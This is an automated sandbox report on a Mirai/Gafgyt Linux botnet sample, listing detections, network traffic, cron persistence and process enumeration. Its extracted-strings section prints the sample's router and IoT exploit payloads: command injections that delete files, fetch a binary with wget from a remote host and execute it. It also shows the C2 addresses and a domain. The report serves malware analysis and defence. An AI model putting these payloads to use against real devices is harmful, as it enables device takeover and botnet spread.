Joe Sandbox Cloud Basic Analysis Report
Edit tour

Linux Analysis Report
wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf

Overview

General Information

Sample name:wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf
Analysis ID:1547943
MD5:05d7857dcead18bbd86d2935f591873c
SHA1:34d18f41ef35f93d5364ce3e24d74730a4e91985
SHA256:2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:96
Range:0 - 100
Whitelisted:false

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Contains symbols with names commonly found in malware
Executes the "crontab" command typically for achieving persistence
Machine Learning detection for sample
Sample tries to persist itself using cron
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
HTTP GET or POST without a user agent
Reads the 'hosts' file potentially containing internal network hosts
Sample and/or dropped files contains symbols with suspicious names
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings that are potentially command strings
Yara signature match

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1547943
Start date and time:2024-11-03 13:51:05 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 37s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf
Detection:MAL
Classification:mal96.troj.linELF@0/1@1/0
  • VT rate limit hit for: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf

Runtime Messages

Command:/tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf
PID:6251
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:

Standard Error:no crontab for root

Process Tree

  • system is lnxubuntu20
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfJoeSecurity_Mirai_4Yara detected MiraiJoe Security
    wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
        wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfLinux_Trojan_Gafgyt_9e9530a7unknownunknown
        • 0xb1ac:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
        wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfLinux_Trojan_Gafgyt_807911a2unknownunknown
        • 0xb963:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
        Click to see the 7 entries

        Suricata Signatures

        ⊘No Suricata rule has matched

        Joe Sandbox Signatures

        • • AV Detection
        • • Networking
        • • System Summary
        • • Persistence and Installation Behavior
        • • Stealing of Sensitive Information
        • • Remote Access Functionality

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfReversingLabs: Detection: 52%
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfJoe Sandbox ML: detected
        Source: global trafficHTTP traffic detected: GET /.shell HTTP/1.1Host: 87.120.84.230Connection: close
        Source: global trafficHTTP traffic detected: GET /.shell HTTP/1.1Host: 216.126.231.240Connection: close
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6257)Reads hosts file: /etc/hostsJump to behavior
        Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
        Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
        Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
        Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
        Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
        Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
        Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: global trafficHTTP traffic detected: GET /.shell HTTP/1.1Host: 87.120.84.230Connection: close
        Source: global trafficHTTP traffic detected: GET /.shell HTTP/1.1Host: 216.126.231.240Connection: close
        Source: global trafficDNS traffic detected: DNS query: conn.masjesu.zip
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfString found in binary or memory: http://purenetworks.com/HNAP1/
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
        Source: unknownNetwork traffic detected: HTTP traffic on port 52542 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52542
        Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50082
        Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 50082 -> 443

        System Summary

        barindex
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_d0c57a2e Author: unknown
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
        Source: ELF static info symbol of initial sampleName: ATTACKRUNNING
        Source: ELF static info symbol of initial sampleName: LastAttackTime
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: scanner10_pid
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: scanner11_pid
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: scanner12_pid
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: scanner13_pid
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: scanner14_pid
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: scanner2_pid
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: scanner3_pid
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: scanner4_pid
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: scanner5_pid
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: scanner6_pid
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: scanner7_pid
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: scanner8_pid
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: scanner9_pid
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/huawei -r /spim;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/huawei -r /spim;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /UD/act?1 HTTP/1.1
        Source: Initial samplePotential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s/spim+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
        Source: Initial samplePotential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s/l7vmra;sh${IFS}/tmp/l7vmra&>r&&tar${IFS}/string.js HTTP/1.0
        Source: Initial samplePotential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmra HTTP/1.1
        Source: Initial samplePotential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s/spim;${IFS}sh${IFS}/var/tmp/spim
        Source: Initial samplePotential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmra
        Source: Initial samplePotential command found: GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F%s%2Fbins.sh%3B%20chmod%20777%20bins.sh%3B%20.%2Fbins.sh) HTTP/1.1
        Source: Initial samplePotential command found: GET /.shell HTTP/1.1
        Source: Initial samplePotential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s/spim;${IFS}sh${IFS}/var/tmp/spimGET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmraGET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F%s%2Fbins.sh%3B%20chmod%20777%20bins.sh%3B%20.%2Fbins.sh) HTTP/1.1
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_d0c57a2e os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ee7d3a33575ed3aa7431489a8fb18bf30cfd5d6c776066ab2a27f93303124b6, id = d0c57a2e-c10c-436c-be13-50a269326cf2, last_modified = 2021-09-16
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
        Source: classification engineClassification label: mal96.troj.linELF@0/1@1/0
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: libc/string/x86_64/memcpy.S
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: libc/string/x86_64/mempcpy.S
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: libc/string/x86_64/memset.S
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: libc/string/x86_64/strcat.S
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: libc/string/x86_64/strchr.S
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: libc/string/x86_64/strcmp.S
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: libc/string/x86_64/strcpy.S
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: libc/string/x86_64/strlen.S
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: libc/string/x86_64/strpbrk.S
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: libc/string/x86_64/strspn.S
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/crt1.S
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/crti.S
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/crtn.S
        Source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elfELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/vfork.S

        Persistence and Installation Behavior

        barindex
        Source: /bin/sh (PID: 6254)Crontab executable: /usr/bin/crontab -> crontab -lJump to behavior
        Source: /bin/sh (PID: 6256)Crontab executable: /usr/bin/crontab -> crontab -Jump to behavior
        Source: /usr/bin/crontab (PID: 6256)File: /var/spool/cron/crontabs/tmp.5t9lMgJump to behavior
        Source: /usr/bin/crontab (PID: 6256)File: /var/spool/cron/crontabs/rootJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/6232/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/6233/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1582/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/3088/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/230/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/110/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/231/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/111/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/232/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1579/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/112/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/233/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1699/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/113/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/234/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1335/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1698/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/114/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/235/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1334/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1576/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/2302/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/115/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/236/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/116/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/237/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/117/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/118/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/910/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/119/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/912/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/10/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/2307/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/11/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/918/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/12/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/13/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/14/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/15/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/16/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/17/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/18/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1594/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/120/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/121/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1349/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/122/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/243/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/123/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/2/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/124/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/3/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/4/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/125/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/126/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1344/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1465/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1586/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/127/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/6/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/248/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/128/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/249/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1463/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/800/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/9/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/801/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/20/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/21/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1900/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/22/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/23/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/24/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/25/cmdlineJump to behavior
